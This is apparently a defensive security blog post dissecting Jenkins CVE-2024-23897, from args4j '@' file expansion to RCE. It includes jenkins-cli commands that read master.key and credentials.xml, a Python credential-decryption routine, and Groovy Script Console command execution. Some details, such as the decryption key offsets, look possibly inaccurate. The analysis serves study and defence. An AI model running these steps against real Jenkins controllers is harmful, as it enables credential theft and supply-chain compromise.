Jenkins Core: Deconstructing the CLI File Read RCE Chain

Jenkins Core: Deconstructing the CLI File Read RCE Chain

Overview & Threat Landscape#

In enterprise Continuous Integration and Continuous Delivery (CI/CD) pipelines, Jenkins remains one of the most widely deployed automation servers globally. Due to its central role in modern software delivery, a Jenkins controller possesses access to critical enterprise assets: source code repositories, container registries, cloud deployment keys, code-signing certificates, and production Kubernetes clusters.

In January 2024, security researchers at SonarSource uncovered CVE-2024-23897, a critical vulnerability in Jenkins Core (affecting weekly releases up to 2.441 and LTS releases up to 2.426.2). Rated CVSS 9.8 (Critical) and rapidly added to CISA's Known Exploited Vulnerabilities (KEV) catalog, the flaw enables unauthenticated attackers to read arbitrary files from the Jenkins controller filesystem. In enterprise environments, this arbitrary file read trivially escalates into full Remote Code Execution (RCE) and complete software supply chain compromise.

CVE-2024-23897 fundamentally shifts the DevSecOps threat calculus across three critical dimensions:

  • The Dangers of Default Library Parser Behaviors: The vulnerability does not originate from a complex buffer overflow or flawed authentication state machine. Instead, it stems from an obscure, default-enabled convenience feature in the third-party args4j command-line parsing library. By prefixing an argument with an @ character, the parser automatically replaces the token with the contents of a local file on the server.
  • Pre-Authentication Exposure via HTTP Transports: Jenkins exposes a built-in Command Line Interface (CLI) over HTTP (via /cli?remoting=false) and WebSockets. Even when controllers enforce strict access control (such as disabling anonymous access and requiring matrix-based authorization), unauthenticated network callers can execute a subset of CLI commands (e.g., help or connect-node) that evaluate and reflect parsed arguments in error outputs.
  • Cryptographic Secrets Deconstruction & Supply Chain Takeover: By extracting core master keys (master.key and hudson.util.Secret) alongside credentials.xml, adversaries can offline-decrypt all stored cloud secrets, API tokens, and SSH deployment keys. Furthermore, attackers can forge administrator "Remember Me" session cookies, log into the controller web interface, and execute arbitrary code via the Jenkins Groovy Script Console.

[!WARNING] Because Jenkins sits at the intersection of developer identity and production cloud infrastructure, an unauthenticated controller compromise compromises the integrity of every application and container image built by that pipeline.


Vulnerability & Attack Root-Cause Analysis#

To understand why CVE-2024-23897 exists, we must examine how Jenkins processes CLI commands, the command-line argument parser architecture, and the internal key derivation hierarchy used by hudson.util.Secret.

The args4j "expandAtFiles" Feature#

Jenkins utilizes the args4j library (authored by Kohsuke Kawaguchi, the creator of Jenkins) to parse options and arguments passed to CLI commands.

In args4j, the CmdLineParser class includes a feature designed to emulate Unix shell argument expansion. Under this feature—controlled by ParserProperties.setAtSyntax(boolean)—any command-line argument that starts with the character @ followed by a file path is treated as an "at-file":

JAVA
// Conceptual representation of args4j argument expansion logic
public boolean parseArgument(Parameters params) throws CmdLineException {
    String arg = params.getParameter(0);
    if (this.parserProperties.getAtSyntax() && arg.startsWith("@")) {
        File file = new File(arg.substring(1));
        if (file.exists()) {
            // Replaces the single '@file' argument with the lines read from the file
            List<String> fileLines = Files.readAllLines(file.toPath(), Charset.defaultCharset());
            params.replaceCurrentWith(fileLines);
        }
    }
    // Proceed with standard command parameter binding...
}

In vulnerable versions of Jenkins, hudson.cli.CLICommand.CmdLineParser instantiated CmdLineParser with default properties. As a consequence, atSyntax remained enabled by default (true). When an argument starting with @ was submitted, the controller opened the specified file on its local filesystem, read its contents line by line, and passed those lines as arguments to the requested CLI command.

CLI Transport Protocol over HTTP#

The Jenkins CLI client communicates with the controller using an HTTP dual-channel transport protocol over /cli?remoting=false:

  1. Upload Channel (POST): The client initiates an HTTP POST request carrying an execution session UUID header (Session). This stream carries raw serialized binary input or text-based command invocations.
  2. Download Channel (POST/GET): A concurrent HTTP request bearing the identical Session header is held open by the controller. The controller streams back command standard output (stdout) and standard error (stderr) in real time using chunked transfer encoding.

When an unauthenticated caller sends a command such as:

BASH
help "@/var/jenkins_home/secrets/master.key"

The controller executes the following logic:

  1. args4j intercepts @/var/jenkins_home/secrets/master.key.
  2. The controller opens the file and reads the first line (the master cryptographic key).
  3. The help command receives this string as the target command name to display documentation for.
  4. Because no command matches the cryptographic key string, help generates an error: No such command: [CONTENTS_OF_FILE].
  5. The error message is streamed back across the download channel to the unauthenticated attacker.

Cryptographic Hierarchy: From File Read to Credential Decryption#

Jenkins stores encrypted secrets (passwords, tokens, SSH keys) inside /var/jenkins_home/credentials.xml. The encryption scheme utilizes a two-tier key hierarchy managed by hudson.util.Secret:

PLAINTEXT
+------------------------------------+
|   secrets/master.key (File)        |
+------------------------------------+
                  |  SHA-256 Hash
                  v
+------------------------------------+
|       Master Key (AES-128)         |
+------------------------------------+
                  |  Decrypts
                  v
+------------------------------------+
|  secrets/hudson.util.Secret (File) |
+------------------------------------+
                  |  Yields
                  v
+------------------------------------+
| Secret Key (AES-128-ECB / CBC)     |
+------------------------------------+
                  |  Decrypts
                  v
+------------------------------------+
| credentials.xml Stored Secrets     |
+------------------------------------+
  1. master.key: A 256-bit random key generated during initial controller initialization.
  2. hudson.util.Secret: A cryptographic container encrypted by master.key. Decrypting this file yields the raw AES key used across all Jenkins plugin credentials.
  3. Once an adversary reads both files via CVE-2024-23897, they can locally decrypt every encrypted block ({AQAAABAAAA...}) in credentials.xml.

Exploit Architecture#

The sequence diagram below illustrates the end-to-end attack progression from unauthenticated CLI command submission through file content reflection, cryptographic credential recovery, and administrator Groovy script execution:

sequenceDiagram
    autonumber
    actor Attacker as Unauthenticated Adversary
    participant EPM as Jenkins HTTP Router (/cli)
    participant Parser as args4j CmdLineParser
    participant FS as Controller Filesystem (/var/jenkins_home)
    participant Engine as Groovy Script Console (/script)

    Note over Attacker,EPM: Phase 1: Dual-Channel CLI HTTP Handshake
    Attacker->>EPM: POST /cli?remoting=false (Header: Session=UUID-1, Channel=download)
    Note over EPM: Controller holds open Chunked Download Stream
    Attacker->>EPM: POST /cli?remoting=false (Header: Session=UUID-1, Channel=upload)

    Note over Attacker,Parser: Phase 2: Argument Expansion (CVE-2024-23897)
    Attacker->>Parser: Command: help @/var/jenkins_home/secrets/master.key
    critical atSyntax Parsing Triggered
        Parser->>FS: Read local file /var/jenkins_home/secrets/master.key
        FS-->>Parser: Return Key Bytes (e.g. 5a2f...18bc)
        Parser->>Parser: Substitute argument with file contents
    end

    Note over Parser,Attacker: Phase 3: Error Reflection & Leakage
    Parser->>EPM: Execute help("5a2f...18bc") -> No such command: 5a2f...18bc
    EPM-->>Attacker: Stream Error Message over Download Channel (master.key Leaked)

    Note over Attacker,FS: Phase 4: Secondary Secret Exfiltration
    Attacker->>EPM: help @/var/jenkins_home/secrets/hudson.util.Secret
    EPM-->>Attacker: Leak encrypted hudson.util.Secret
    Attacker->>EPM: help @/var/jenkins_home/credentials.xml
    EPM-->>Attacker: Leak encrypted credentials store

    Note over Attacker: Phase 5: Offline Decryption & Session Minting
    Attacker->>Attacker: Decrypt credentials.xml -> Extract Cloud & Admin Keys
    Attacker->>Attacker: Forge Admin Remember-Me Cookie via Secret Key

    Note over Attacker,Engine: Phase 6: Code Execution via Script Console
    Attacker->>Engine: POST /script (Groovy: "uname -a".execute().text)
    Engine-->>Attacker: HTTP 200 (Root / Jenkins OS Command Execution)

Attack Path Step-by-Step#

Understanding the discrete exploitation phases allows blue teams and incident responders to detect active reconnaissance, identify harvested secrets, and verify controller integrity.

Step 1: Probing the CLI Endpoint#

The adversary verifies whether the Jenkins CLI endpoint is exposed and responsive over HTTP:

BASH
# Testing availability of the Jenkins CLI HTTP transport
curl -s -D - "http://jenkins.corp.internal:8080/cli?remoting=false" -o /dev/null

If the server returns HTTP/1.1 200 OK or accepts the connection, the CLI transport is active.

Step 2: Exploiting args4j File Read via the Dual-Channel Handshake#

Using the standard jenkins-cli.jar or a lightweight Python script that opens concurrent upload and download HTTP sessions, the attacker invokes an unauthenticated command (such as help or connect-node) with an @ argument:

BASH
# Submitting CLI command targeting the master encryption key
java -jar jenkins-cli.jar -s http://jenkins.corp.internal:8080/     -http help "@/var/jenkins_home/secrets/master.key"

The controller's command handler attempts to find a CLI command matching the string contained inside master.key. Because no command exists with that name, Jenkins responds with an error:

BASH
ERROR: No such command: 7a8f9c1e2b4d5a3f8c7e6b5a4d3c2b1a0f9e8d7c6b5a4d3c2b1a0f9e8d7c6b5a

The 64-character hexadecimal string reflected in the error is the raw content of master.key.

Step 3: Extracting hudson.util.Secret and credentials.xml#

Next, the adversary retrieves the secondary encrypted secret file and the credential database:

BASH
# Reading hudson.util.Secret
java -jar jenkins-cli.jar -s http://jenkins.corp.internal:8080/     -http help "@/var/jenkins_home/secrets/hudson.util.Secret"

# Reading credentials.xml
java -jar jenkins-cli.jar -s http://jenkins.corp.internal:8080/     -http help "@/var/jenkins_home/credentials.xml"

[!NOTE] Depending on whether overall read permissions (Overall/Read) are granted to anonymous users, different CLI commands can be used. For completely unauthenticated installations, commands that take a variable argument list (such as connect-node or help) reflect the first line of the file. If anonymous users possess Overall/Read, commands like reload-job or build can be leveraged to read entire multi-line files.

Step 4: Offline Decryption of Stored Credentials#

Once the adversary has downloaded master.key, hudson.util.Secret, and credentials.xml, they execute offline decryption:

PYTHON
# Python decryption flow for Jenkins credentials
from hashlib import sha256
from Crypto.Cipher import AES

def decrypt_jenkins_secret(master_key_bytes: bytes, hudson_secret_bytes: bytes, ciphertext_hex: bytes):
    # 1. Derive AES key from master.key
    derived_key = sha256(master_key_bytes).digest()[:16]
    
    # 2. Decrypt hudson.util.Secret payload
    cipher = AES.new(derived_key, AES.MODE_ECB)
    decrypted_secret = cipher.decrypt(hudson_secret_bytes)
    
    # 3. Extract the master payload key (prefixed by magic string)
    payload_key = decrypted_secret[16:32]
    
    # 4. Decrypt individual credential fields stored in credentials.xml
    # Credentials are encrypted using AES-CBC with prepended IV
    iv = ciphertext_hex[:16]
    data = ciphertext_hex[16:]
    aes_cbc = AES.new(payload_key, AES.MODE_CBC, iv)
    plaintext = aes_cbc.decrypt(data)
    return plaintext

The decrypted output yields cleartext API tokens, cloud provider keys (AWS_SECRET_ACCESS_KEY), and SSH private keys used to deploy code to production servers.

Step 5: Achieving Code Execution via the Groovy Console#

With administrative credentials decrypted or administrator session cookies forged (using the leaked secret key and remember-me service configuration in org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac), the attacker authenticates to the Jenkins management interface.

The adversary accesses the Script Console (/script), which executes arbitrary Groovy scripts directly inside the controller's Java Virtual Machine (JVM):

GROOVY
// Execution of operating system commands via Jenkins Script Console
def process = "id && uname -a".execute()
println process.text

At this stage, the adversary has achieved full, interactive remote code execution under the jenkins user account, completing the takeover of the CI/CD pipeline.


Fast Cyber Defense Morning Takeaways#

  1. Third-Party Parser Defaults Create Silent Attack Surface: CVE-2024-23897 highlights how convenience features in foundational libraries (args4j at-syntax) can inadvertently undermine enterprise access control policies.
  2. Arbitrary File Reads Are Fatal on CI/CD Controllers: Because Jenkins stores encryption keys and credentials locally on the controller filesystem, an arbitrary file read is functionally equivalent to total credential loss and full RCE.
  3. HTTP CLI Transport Must Be Disabled: If your organization does not rely on the Jenkins CLI over HTTP, the CLI interface must be completely disabled or firewalled at the network edge.

In tonight's Evening Defense Guide (EDITION 2), we will engineer comprehensive blue team defenses:

  • Deploying system properties (hudson.cli.CLIAction.ALLOW_GUI=false) and Groovy startup scripts to permanently disable the HTTP CLI interface.
  • Production Sigma rules and reverse proxy access filters (NGINX/Envoy) to detect and block /cli?remoting=false traffic.
  • Step-by-step incident response procedures to audit leaked files, rotate the entire Jenkins cryptographic key hierarchy (master.key), and invalidate all stored credentials across your enterprise.

Authoritative References#

  1. Jenkins Security Advisory 2024-01-24: Jenkins Core Vulnerabilities (CVE-2024-23897) — Jenkins Security Portal
  2. SonarSource Vulnerability Research: Excessive Expansion: Uncovering Remote Code Execution in Jenkins (CVE-2024-23897) — Sonar Blog
  3. Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities (KEV) Catalog - CVE-2024-23897 — CISA KEV
  4. National Vulnerability Database (NVD): CVE-2024-23897 Detail: Arbitrary File Read in Jenkins CLI — NIST NVD

Comments